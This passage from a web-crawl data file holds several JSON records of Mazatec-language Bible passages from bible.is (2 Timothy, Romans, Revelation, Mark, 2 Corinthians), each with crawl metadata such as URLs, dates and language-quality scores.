K'oa̱á ti̱ s'ín chíkjoa̱ yije-lè ni̱ta̱ mé kjoa̱-ne koni an. 11 Tíjiìn-lè koni s'ín tìsìkjiaán kjo̱'in i̱t'aà ts'e̱ Cristo ti̱koa̱ ongatji̱ngui-na xi̱ta̱ kondra̱ koni s'ín komàtian ján na̱xa̱ndá Antioquía, Iconio ko̱ Listra. ¡Ta̱xki̱ toòn kijtseè-na xi̱ta̱ nga tsangatji̱ngui-na ta̱nga jè Na̱'èn-ná tsachrjekájiìn yije-na kjoa̱ koi! 12 Kixi̱í kjoa̱, ngats'iì xi mejèn-la̱ skoe̱xkón Na̱'èn-ná Jesucristo, k'oa̱á ti̱ s'ín s'e̱-la̱ kondra̱ nga kji̱tje̱nguikeè xi̱ta̱. 13 Ta̱nga jñà xi̱ta̱ xi ch'o s'ín, xi kona̱cha̱n, kjit'aà na̱chrjein, sa̱á 'ñó, sa̱á 'ñó ch'o s'iìn nga skóna̱cha̱n-la̱ xi̱ta̱, ta̱nga k'oa̱á ti̱ s'ín ko̱matin ngajo-ne nga skóna̱cha̱n-la̱ xi̱ta̱ xi kj'ei̱í. 14 Ta̱nga ngaji̱, ndaà kixi̱ tikoi̱i jñà kjoa̱ xi kichìta'yì xi jye k'oa̱s'ín ndaà kòkjeiín-lè. Jyeé tíjiìn-lè yá xi̱ta̱ xi tsakóya-lè. 15 Skanda ti̱k'e̱-né nga ti̱sa̱ ndí ti titsjoi, ki'yaxkoin Xo̱jo̱n Tsjeè-la̱ Nainá jè xi ko̱ma-la̱ si̱íchji̱ne̱-lè kó s'ín ki̱tjokàjiìn kjo̱'in nga mokjeiín-lè i̱t'aà ts'e̱ Cristo Jesús. 16 Ngats'iì 'én xi tjít'aà Xo̱jo̱n-la̱ Nainá, kjo̱hítsjeèn ts'e̱é Nainá nga kitjei. K'oa̱á s'ín mochjeèn nga okóya-ná, nga okó-ná k'e̱ nga ch'o 'nè, nga síkixi̱yandaà-ná, nga okó-ná ndi̱yá kixi̱, 17 mé-ne jñá xi xi̱ta̱-la̱ Nainá 'mì-ná jngoò k'a ndaà kítsa̱jnandaà nga si̱kitasoán yije kjoa̱ xi ndaà tjín.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/3","date":"2013-05-25T18:09:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706082529\/warc\/CC-MAIN-20130516120802-00064-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000029802322388}","num_words":469,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.299,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corintios 10:18\n18 Mìtsà jè xi ndaà bitjongui xi ti̱ yijo-la̱ ndaà síkíjna-ne i̱t'aà ts'e̱ mé kjoa̱ xi s'ín. Jè Nainá xi k'oa̱ ki̱tso̱ tsà ki̱xi̱ kjoa̱ nga ndaà xi̱ta̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/10\/18","date":"2013-06-19T03:07:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707440258\/warc\/CC-MAIN-20130516123040-00078-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.998036921,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9980369210243225}","num_words":47,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 1:9\n9 'An-ná xi mì-na̱ Juan, xi 'ntsè xan-nò i̱t'aà ts'e̱ Cristo. Nga ya̱ titsa̱jnakoa̱á Cristo ngásòn titsa̱nìkjiaán kjo̱'in, ko̱ ngásòn ya̱ nokjoà-ná ñánda tíhotíxoma Nainá ko̱ ngásòn tíchíkjoako̱-ná ngats'iì kjoa̱. 'A̱n nga 'én-la̱ Nainá tìchjàya ko̱ tìbeno̱jmí kixi̱-la̱ xi̱ta̱ i̱t'aà ts'e̱ Cristo, k'oa̱á komà-ni ján kinìkasén-na ya̱ nangui jiìn-ndá ñánda 'mì Patmos.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/1\/9","date":"2013-05-23T23:03:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704054863\/warc\/CC-MAIN-20130516113414-00085-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9995637536,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9995637536048889}","num_words":71,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Marcos 9:1\n1 Jesús kitsò-ìsa̱: —O̱kixi̱í xi xan-nò, títsa̱jnajiìn i'nga xi̱ta̱ i̱jndé xi mì kiì ki̱yá skanda k'e̱ nga skoe̱ kó s'ín otíxoma Nainá nga kjoi̱íko̱ nga'ñó-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/9\/1","date":"2013-05-25T04:30:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705502703\/warc\/CC-MAIN-20130516115822-00015-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9932354093,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9932354092597961}","num_words":45,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Timoteo 1:8\n8 Koií kjoa̱-la̱ kì masobà-lè nga nokjoákoi̱i xi̱ta̱ i̱t'aà ts'e̱ Na̱'èn-ná Jesucristo. Ti̱koa̱ kì masobà-lè xi i̱t'aà ts'a̱n nga nda̱yá tíjna'ya koií kjoa̱-la̱ nga ya̱ siìxát'aà-la̱ Na̱'èn-ná. Ti̱kjeiín-ko̱-ná kjo̱'in xi i̱t'aà ts'e̱ én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Jè Nainá tsjá-lè nga'ñó xi ko̱chjeén-lè.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/1\/8","date":"2013-06-19T17:52:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368709000375\/warc\/CC-MAIN-20130516125640-00015-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9998105168,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999810516834259}","num_words":64,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 16:10\n10 Jè àkja̱le̱ xi ma-ne 'òn, tsibíxteèn-sòn jè xi tjíya chi̱tsín-la̱ ya̱ ñánda tíhotíxoma jè cho̱ ts'e̱n. Ko̱ jè i̱'nde ñánda tíhotíxoma jè cho̱ je xi ch'o kji, kòjñò-né. Jñà xi̱ta̱ xi beèxkón jè cho̱ ts'e̱n kiskinetjòn ni̱je̱n-la̱ nga 'ñó ijò komà-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/16\/10","date":"2013-05-19T07:29:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696384213\/warc\/CC-MAIN-20130516092624-00011-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9990346432,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9990346431732178}","num_words":61,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.246,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Tsà k'oa̱á s'ín tjín, ¿mé kjo̱ndaà xi isa̱ tsee tjín-la̱ nga xi̱ta̱ judío 'mì? ko̱ ¿mé chjí-la̱ nga tjít'aà chi̱ba̱-la̱? 2 Kjìn sko̱ya chjí-la̱. Jè xi tíjna ítjòn, jè-né nga jñà xi̱ta̱ judío kjònga̱tsja 'én-la̱ Nainá. 3 Jñà xi̱ta̱ judío, na̱s'ín tjín i'nga xi mì kiì síkitasòn 'én xi kjònga̱tsja, ¿a ko̱ma si̱kjaatjìya-la̱ kjoa̱kixi̱-la̱ Nainá nga mì kiì kitasòn koni s'ín kitsja tso'ba? 4 Majìn, mì kiì ko̱ma. Nainá, xi̱ta̱ kixi̱-né, na̱s'ín xi̱ta̱ ndiso ngats'iì xi̱ta̱ xi tjín i̱sò'nde; koni s'ín tíchja̱ xo̱jo̱n nga tsò: Mé-ne nga kàta'ya-la̱ nga kixi̱ kjoa̱ 'én xi nokjoì Si̱kijne-né k'e̱ nga yá xi ko̱òngui-lè. 5 Tjín i'nga xi̱ta̱ xi tsò: K'e̱ nga ch'o 'nè, ìsa̱à ndaà 'ya-la̱ kjoa̱kixi̱-la̱ Nainá. Tsà k'oa̱ s'ín tjín, ¿kó ki̱xoán? ¿a ki̱xón-ná nga mì kjoa̱ kixi̱ tís'ín Nainá nga kjo̱'in tsjá-ná? (Tsà ko̱s'ín kixoán, jngoò kjo̱hítsjeèn-la̱ xi taxki̱ xi̱ta̱ titsa̱nìkjeén.) 6 Ta̱nga majìn, mì k'oa̱á s'ín tjín. Tsà mì tsà kixi̱ s'ín Nainá nga kjo̱'in tsjá-ná, ¿kós'ín ko̱ma koi̱índaàjiìn-la̱ xi̱ta̱ i̱sò'nde? 7 Ti̱koa̱á tsà k'oa̱ ki̱tso̱ xi̱ta̱ koi: Ta̱nga tsà kjoa̱ndiso-na̱ okó nga jè kjoa̱ kixi̱-la̱ Nainá isa̱ jeya kíjna, ¿mé-ne k'oa̱ s'ín tísinè-na nga xi̱ta̱ jé tíyatakòn-na? 8 Tik'oa̱á-ne ch'o s'eén mé-ne nga kàtasakò isa̱-ná kjo̱ndaà-la̱ Nainá. Tjín xi̱ta̱ xi ko̱tsò nga k'oa̱á tjín 'én xi okoòya; jè xi mejèn-la̱ nga ch'o síkíjna-na. Jñà xi̱ta̱ xi ko̱tsò, o'kiín-la̱ nga tjoé-la̱ kjo̱'in xi Nainá tsjá. 9 ¿Kó s'ín nìkítsjeèn?, jñá xi xi̱ta̱ judío 'mì-ná, ¿a ìsa̱à ndaà xi̱ta̱á koni jñà xi̱ta̱ xi kj'eií? Majìn, jyeé k'oa̱á kixan-nò, tà ngásòn jé titsa̱jnajñaá ngats'iaá xi xi̱ta̱ judío 'mì-ná ko̱ xi ta̱xki̱ xi̱ta̱. 10 Koni s'ín tíchja̱ Xo̱jo̱n-la̱ Nainá nga tsò: Ni̱ jngoò xi̱ta̱ tjín xi xi̱ta̱ kixi̱, ni̱ tsà tà jngoò. 11 Ni̱ jngoò tjín xi machi̱ya-la̱, ni̱ jngoò tjín xi ótsji Nainá. 12 Ngats'iì xi̱ta̱ sa̱à xìn ndi̱yá kiì; ngats'iì nìmée chjí-la̱ kjoa̱ xi s'ín; ni̱ jngoò xi ndaà s'ín, ni̱ tsà tà jngoò. 13 Na̱xájta̱-la̱, k'oa̱á kjoàn koni ngajo-la̱ mik'en k'e̱ nga táxa̱jto; ni̱je̱n-la̱ nguiì 'én ndisoó chja̱; 'én xi chja̱, k'oa̱á ngaya-la̱ koni tsà xán-la̱ ye̱. 14 Chja̱jno-la̱ xi̱ta̱ ko̱ nguiì koi 'én chja̱ xi 'òn ma-la̱ i̱ni̱ma̱-ná. 15 Mì kiì koña kjoa̱, ni̱to̱ón sík'en xi̱ta̱. 16 Ni̱ta̱ ñánda nga fì, síhi̱ma̱ ko̱ síkjesko xi̱ta̱ xi kj'eií. 17 Mì kiì beèxkon ndi̱yá ñánda tjín kjoa̱'nchán. 18 Mì kiì tsakjón-keè Nainá i̱t'aà ts'e̱ kjoa̱ xi s'ín. 19 Jyeé 'yaá nga ngats'iì 'én xi tjít'aà kjo̱tíxoma ts'e̱ Moisés, jñá chja̱-la̱ ngats'iì xi̱ta̱ xi ya̱ fìt'aà-la̱, mé-ne nga ngats'iì xi̱ta̱, mì kiì ko̱ma ki̱chja̱ nga ki̱nchako̱ yijo-la̱ nga nguixko̱n Nainá; ngats'iì xi̱ta̱ xi tjín i̱sò'nde koi̱ìndaàjiìn-la̱ Nainá nga jcha̱-la̱ nga jé tjín-la̱. 20 Ni̱ jngoò xi̱ta̱ xi kixi̱ kíjna nga nguixko̱n Nainá tà koi kjoa̱-la̱ nga ndaà tisíkitasòn Kjo̱tíxoma ts'e̱ Moisés. Nga jè Kjo̱tíxoma, tà k'oa̱á s'ín mochjeèn nga beèno̱jmíya-ná nga jé tjín-ná. 21 Ta̱nga i̱'ndei̱, Nainá okó-ná kós'ín s'ín Nainá nga xi̱ta̱ kixi̱ beètakón-ná. Ko̱ mì tsà kjoa̱ ts'e̱ Kjo̱tíxoma nga bitasòn. Jñà xo̱jo̱n jchínga ts'e̱ kjo̱tíxoma-la̱ Nainá ko̱ ts'e̱ xi̱ta̱ xi kiìchja̱ ngajo-la̱ Nainá k'oa̱á ti̱ s'ín beèno̱jmíya-ná, 22 nga jñà xi̱ta̱ k'e̱ nga mokjeiín-la̱ i̱t'aà ts'e̱ Cristo, kixi̱í bìtsa̱jna nguixko̱n Nainá. K'oa̱á s'ín síko̱ yije kóhotjín xi mokjeiín-la̱. Nga ngats'iì xi̱ta̱ ngásòn jé tjín-la̱, 23 nga ngásòn ótsji jé-né; kjiìn titsa̱jnat'aà xìn-la̱ Nainá ñánda nga jeya tíjna. 24 Ta̱nga Nainá, nga ndaà xi̱ta̱, kitsjaà ko̱tjò-ná kjo̱ndaà-la̱ mé-ne nga kixi̱ ki̱tsa̱jnaá nguixko̱n jè. Jè Jesucristo tsibìchjítjì ngajo-ná jé-ná mé-ne nga ki̱tsa̱jnandeií-ná xi kjoa̱ ts'e̱ jé. 25 Nainá kitsjaà ki'ndí-la̱ koni jngoò kjo̱tjò xi faàxìn jé-ná nga nguixko̱n Nainá k'e̱ nga mokjeiín-ná i̱t'aà ts'e̱ Jesucristo, nga jè tsibíxteèn jní-la̱ k'e̱ nga k'en. Nainá k'oa̱á s'ín okóya-ná kós'ín tjín kjoa̱kixi̱-la̱. Koií kjoa̱-la̱ nga ngasa̱ kjòtseè, Nainá, tíkoña kjoa̱-né, mì kiì ni̱to̱n kitsjaà-la̱ kjo̱'in xi̱ta̱ koni s'ín ok'ìn-la̱ jé xi tsohótsji. 26 Ta̱nga i̱'ndei̱ tí'ya-la̱ nga i̱t'aà ts'e̱ Jesucristo tísindaàjiìn-la̱ xi̱ta̱ jñà kjoa̱-la̱ jé xi kisichróbá mé-ne nga kàta'ya-la̱ Nainá nga xi̱ta̱ kixi̱-né ko̱ ti̱koa̱á ti̱jè-ne Nainá xi kixi̱ síkítsa̱jna xi̱ta̱ xi mokjeiín-la̱ i̱t'aà ts'e̱ Jesús. 27 ¿A 'ngaá ko̱ma tàkoán nga kixi̱ titsa̱jnaá nguixko̱n Nainá? Majìn, mì kiì 'nga ko̱ma tàkoán. Nga mì tsà koi kjoa̱-la̱ nga kjo̱tíxoma nìkitasoán. Jè-né nga mokjeiín-ná i̱t'aà ts'e̱ Jesús nga kixi̱ síkítsa̱jna-ná Nainá. 28 K'oa̱á tsòya-ne ngats'iì kjoa̱ koi nga Nainá síkixi̱ xi̱ta̱ k'e̱ nga mokjeiín-la̱ i̱t'aà ts'e̱ Jesús; mì tsà koi nga kjo̱tíxoma ts'e̱ Moisés síkitasòn. 29 ¿A tà ts'e̱é xi xi̱ta̱ judío Nainá? ¿A mì tsà ti̱koa̱ ts'e̱ xi ta̱xki̱ xi̱ta̱? Kjoa̱ kixi̱-né, ti̱koa̱á ts'e̱-né xi ta̱xki̱ xi̱ta̱ xi mì tsà xi̱ta̱ judío. 30 Nainá, tà jngoò ma xi kixi̱ síkítsa̱jna ngats'iì xi̱ta̱ k'e̱ nga mokjeiín-la̱ i̱t'aà ts'e̱ Jesús. Ngásòn síko̱ jñà xi̱ta̱ judío xi tjít'aà chi̱ba̱-la̱ ko̱ xi ta̱xki̱ xi̱ta̱ xi mi kiì tjít'aà chi̱ba̱-la̱. 31 Jè kjoa̱ nga mokjeiín-ná i̱t'aà ts'e̱ Jesucristo, ¿a tíchahingui-né kjoa̱ ts'e̱ Kjo̱tíxoma? Majìn, mì tsà tíchahingui; ta̱ sa̱á tímajngoò-ne koni jè xá xi tjín-la̱.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/3","date":"2013-05-24T13:44:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704662229\/warc\/CC-MAIN-20130516114422-00042-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000063180923462}","num_words":768,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 11:24\n24 Ji, nga ya̱ kitiìt'aà-ne jñà yá olivo i̱jiìn i̱jñá koa̱ kisikjoòkoi̱i yá olivo ndaà na̱s'ín mì kiì ya̱ ok'in-lè. ¡I̱sa̱á tà ndaà ok'in-la̱ nga jñà chrja-la̱ yá olivo xi xó kitjaàjiìn-ne nga sincháya ìjngoò k'a-ne i̱'nde-la̱ xi tijè-ne yijo-la̱ yá!\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/11\/24","date":"2013-05-21T14:39:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700107557\/warc\/CC-MAIN-20130516102827-00072-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9992451668,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9992451667785645}","num_words":60,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra kjomà a̱skan‑nioo̱, 'kia̱ nga ískotsíjee̱n, kíjtse‑náa̱ jè Forrè nga síjnasòn ya̱ nindo ra 'mì Sión nga i̱jncha'ta‑la̱ jñà xi̱ta̱ ra jngo sindo̱ ko̱ ichán ijòn jmi ma‑ni nga tjí'ta ya̱ tótjen‑la̱ xi̱ta̱ kìi̱ jè 'í‑la̱ Forrè I'ndí‑la̱ Nainá ko̱ jè 'í‑la̱ Na̱'ìn‑la̱. 2Ko̱ kí'nchrè‑la̱ jta̱ ra ngajmi inchrabà‑ni ra ko̱'sín 'ñó fane koni jè nandá 'kia̱ nga 'ñó maje, ko̱ koni 'sín ma jè 'cho̱n 'kia̱ nga 'ñó tsin; jè jta̱ ra kí'nchrè‑la̱, 'koa̱á 'sín tsò koni 'sín na'yá‑la̱ ya̱ ñánda̱ nga kjìn ma‑ni xi̱ta̱ ra síkjane jñà ní'ñó ra 'mì arpa. 3Ko̱ jngo 'én xi̱tse̱ tíjnda ya̱ ngixko̱n jè ra tíjnasòn íxile̱ nga tíbatéxoma ko̱ ya̱ ngixko̱n jñà ra ijòn ma‑ni ra títsa̱jnakon ko̱ ya̱ ngixko̱n jñà xi̱ta̱ jchínga; ni̱yá ra kjomà‑la̱ kise‑isa jè 'én xi̱tse̱ ra̱kìi̱, ta jñá‑ní ra jngo sindo̱ ko̱ ichán ijòn jmi ma‑ni jñà ra ijye itjokàjin kjo̱hi'in 'tse̱ i̱sà'nde. 4Jñà xi̱ta̱ kìi̱, mì tsa íchjín tsikitsa̱jnako̱, ngi tsjeé kisíjchá ijo‑la̱. Jñà xi̱ta̱ kìi̱ ra fìtji̱ngi‑la̱ jè Forrè ni̱'sín ta ñánda̱ nga fì. Jñà‑ní ra itjokàjin ítjòn kjo̱hi'in a̱'ta 'tse̱ xi̱ta̱ i̱sà'nde ko̱ jñá‑ní ra kjonga̱tsja ítjòn Nainá ko̱ jè Forrè; 5ra ni̱mé 'én ndiso itjo ya̱ tsa'ba, ko̱ ni̱mé jé isakò a̱'ta 'tse̱ xi̱ta̱ kìi̱ ya̱ ngixko̱n Nainá. 6Ìjngo ìkja̱li̱ kíjtsee̱ ra tsá'bajin i̱sén ra tsá'ya jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra tíjna skanda ta mé ni̱chjin‑nioo̱ mé‑ni nga 'ke̱èna̱jmíya‑la̱ nga'tsì xi̱ta̱ ra tjín ya̱ i̱sà'nde, nga'tsì xi̱ta̱ ra tjín nga jngó jngó nangi, ko̱ nga'tsì xi̱ta̱ tje̱‑la̱ xi̱ta̱ ra tjín, ko̱ xi̱ta̱ ra chja̱ nga'tsì 'én ra tjín, ko̱ xi̱ta̱ ra tjín ta nga'tsì na̱xi̱ndá ra tjín ya̱ i̱sà'nde. 7'Ñó chja̱ nga tsò: ―Ti̱skón‑la jè Nainá ko̱ jeya ti̱kíjna, nga̱ ijyeé ijchó ni̱chjin nga ki̱ìndajín. Jcha̱xkón jè ra tsikínda ngajmi, nangi, ndáchikon ko̱ nga'tsì i̱'nde ñánda̱ títjo nandá. 8Ìjngo ìkja̱li̱ tsatsíjen ra 'ñó chja̱‑te nga tsò: ―Ijyeé iskajen‑ngi, ijyeé iskajen‑ngi jè na̱xi̱ndá Babilonia, jè na̱xi̱ndá ra 'ñó je 'ki; jè ra tsakón‑ya‑la̱ xi̱ta̱ i̱sà'nde nga kj'ií nainá kiìtji̱ngi‑la̱, ra 'koa̱á ngoya‑la̱ koni jè kisìka'chi̱‑ni xi̱ta̱ xán 'tse̱ kjoa̱chijngi‑la̱. 9Ko̱ ìjngo ìkja̱li̱ tsatsíjen ra ma‑ni jàn, ra 'ñó chja̱ nga tsò: ―Tsa yá ra ske̱xkón jè cho̱ ra 'ñó 'cho 'kioo̱ ko̱ tsa ske̱xkón‑te jè i̱sén‑la̱ ko̱ tsa tsjá'nde nga si̱'ta chi̱ba̱ ya̱ tótjen‑la̱ ko̱ ya̱ tsja, 10'koa̱á 'sín Nainá tsjá i'in‑te‑la̱ koni tsa sk'í nandá xán‑la̱ uva ra 'ya kjo̱jti‑la̱ Nainá, koni jngo xán ra tjíya chi̱tsín ra 'ñó 'nga tjín‑la̱ ko̱ ra 'ñó kjàn, ra xá ngi jè sabà Nainá tsikínda nga ko̱kòn kjo̱jti‑la̱. Tseé kjo̱hi'in 'ki̱‑la̱; ngi ko̱ó ni'í ko̱ chijo azufre ra 'ñó tsjè títì nga ko̱to kjo̱hi'in ya̱ ngixko̱n ìkja̱li̱ tsje‑la̱ Nainá ko̱ ya̱ ngixko̱n Forrè. 11Jè ni̱'ndi̱ 'tse̱ kjo̱hi'in‑la̱, kji'tá ni̱chjin nga ki̱tjo ko̱ ni̱jngo ni̱chjin nga mì kì ki̱tjo skanda ta kjiá‑nioo̱. Ko̱ ni̱kjiá ma si̱ìkjáya ni̱'sín ni̱chjin ko̱ ni̱'sín ni̱tje̱n jñà ra ko̱'sín bexkón jè cho̱ ra̱kìi̱ ra 'ñó 'cho 'kioo̱, ko̱ jñà ra bexkón‑te jè i̱sén‑la̱, ko̱ jñà ra kitsjá'nde nga isi'ta chi̱ba̱ ra a̱'ta 'tse̱ cho̱ ra 'ñó 'cho 'kioo̱. 12I̱í i̱jndíi̱ machjeén nga nda katachíkjoa̱‑la̱ jñà xi̱ta̱‑la̱ Nainá ra nda síhitjasòn kjo̱téxoma‑la̱ ko̱ ra nda makjiín‑la̱ ra a̱'ta 'tse̱ Jesús. 13Kí'nchrè jngo 'én ra ngajmi inchrabà‑ni ra kitsò‑na: ―Ko̱'sín ti'tì xa̱jo̱n: \"'Ndi̱ 'ndi̱‑ni̱ ko̱ jñà ni̱chjin ra 'sa̱ nchrabá‑isa, mé ta̱ nda‑la̱ jñà ra ya̱ ki̱yájin koni 'sín makjiín‑la̱ a̱'ta 'tse̱ Na̱'ín‑ná.\" \"Kixi̱í kjoa̱\", tsò jè Inìma̱ Tsje‑la̱ Nainá: \"Jñà xi̱ta̱ kìi̱, si̱ìkjáyaá‑ni nga'tsì xá iyí ra ki'sìn; ko̱ ya̱á jcha̱‑la̱ jñà kjoa̱ ra nda ki'sìn ya̱ a̱'ta nangi.\" 14'Kia̱ nga ískotsíjee̱n, jngo ifi chraba kíjtsee̱; ya̱ a̱sòn‑la̱ ifi tíjnasòn jngo ra koni 'ki i'ndí‑la̱ xi̱ta̱ 'ki; jngo corona ra ngi ki̱cha̱ sinè tjí'a ya̱ sko̱, ko̱ jngo ki̱cha̱ tsitin tsá'ya ra ma tisòn‑ni ijñá ra 'ñó ijò 'ki. 15Ìjngo ìkja̱li̱ itjo‑ni ya̱ i̱'nde tsje‑la̱ Nainá, ra 'ñó kiìchja̱‑la̱ ra tíjna ya̱ a̱sòn ifi nga kitsò‑la̱: ―Ti'tsi̱i nga ti̱chásìn jñà tsajmì ra ijye kjójchá ko̱ tíxkí, nga̱ ijyeé ijchó chi̱ba̱‑la̱ nga ko̱xkó jñà tsajmì kìi̱, nga̱ ijyeé kjójchá nga'tsì tsajmì ra tjín ya̱ a̱'ta nangi. 16Jè ra tíjnasòn ya̱ a̱sòn ifi 'tsoón ki̱cha̱‑la̱ ya̱ a̱'ta nangi ko̱ jñà tsajmì ra tjín ya̱ a̱'ta nangi isinchaxkó‑ní. 17Ìjngo ìkja̱li̱ itjo‑ni ya̱ i̱'nde tsje‑la̱ Nainá ra tíjna ya̱ ján ngajmi ra tsá'ya‑te jngo ki̱cha̱ tsitin ra ma tisòn‑ni ijñá ra 'ñó ijò kji‑te. 18Ìjngo ìkja̱li̱ ra be 'tse̱ ni'í itjo‑ni ya̱ ñánda̱ tíjna ímixa̱ tsje‑la̱ Nainá, ko̱ 'ñó kiìchja̱‑la̱ jè ìkja̱li̱ ra tsá'ya jè ki̱cha̱ tsitin ra 'ñó ijò; kitsò‑la̱: ―Ti'tsi̱i nga ti̱chjiín ki̱cha̱ ijò‑li nga ti̱chá'tì jñà to uva jñà ra tjín ya̱ a̱'ta nangi nga̱ ijyeé kjójchá tsje‑nì. 19Jè ìkja̱li̱ 'tsoón jè ki̱cha̱‑la̱ ya̱ a̱'ta nangi. Tsate'tà jñà to uva; a̱kjòn ya̱á isìkatsajoyá ya̱ chitso na̱jo̱, ra 'ya kjo̱jti‑la̱ Nainá. 20Mì tsa ya̱ a̱jin na̱xi̱ndá isinè jñà to uva; ya̱á a̱ndi‑la̱ na̱xi̱ndá‑ní nga isinè; 'kia̱ nga ijye isinè, jní itjo ya̱ ñánda̱ nga isinèya; 'ñó tse tsangasòn jè jní ra ya̱ itjo; skanda ijchòtji̱ngi‑la̱ ya̱ freno ra tjí'a ya̱ tsa'ba kabàyo̱, skanda jàn sindo̱ kilómetro tsangasòn.\nApocalipsis 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/14","date":"2013-12-10T23:42:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164027110\/warc\/CC-MAIN-20131204133347-00000-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":828,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò xi koni tsà ndí i̱xti‑na̱ xan‑nò, koií xá tìkjiì‑nò Xo̱jo̱n jè, mé‑ne nga mì ti̱ jé ki̱nchátsji‑lá yijo‑nò. Ta̱nga tsà tjín jngoò xi̱ta̱ xi tíhótsji jé‑la̱ yijo‑la̱, jè Nainá si̱ìjchàat'aà‑la̱, nga̱ tíjna jngoò‑ná xi̱ta̱ xi chja̱tjì‑ná ya̱ nguixko̱n Nainá, jè xi 'mì 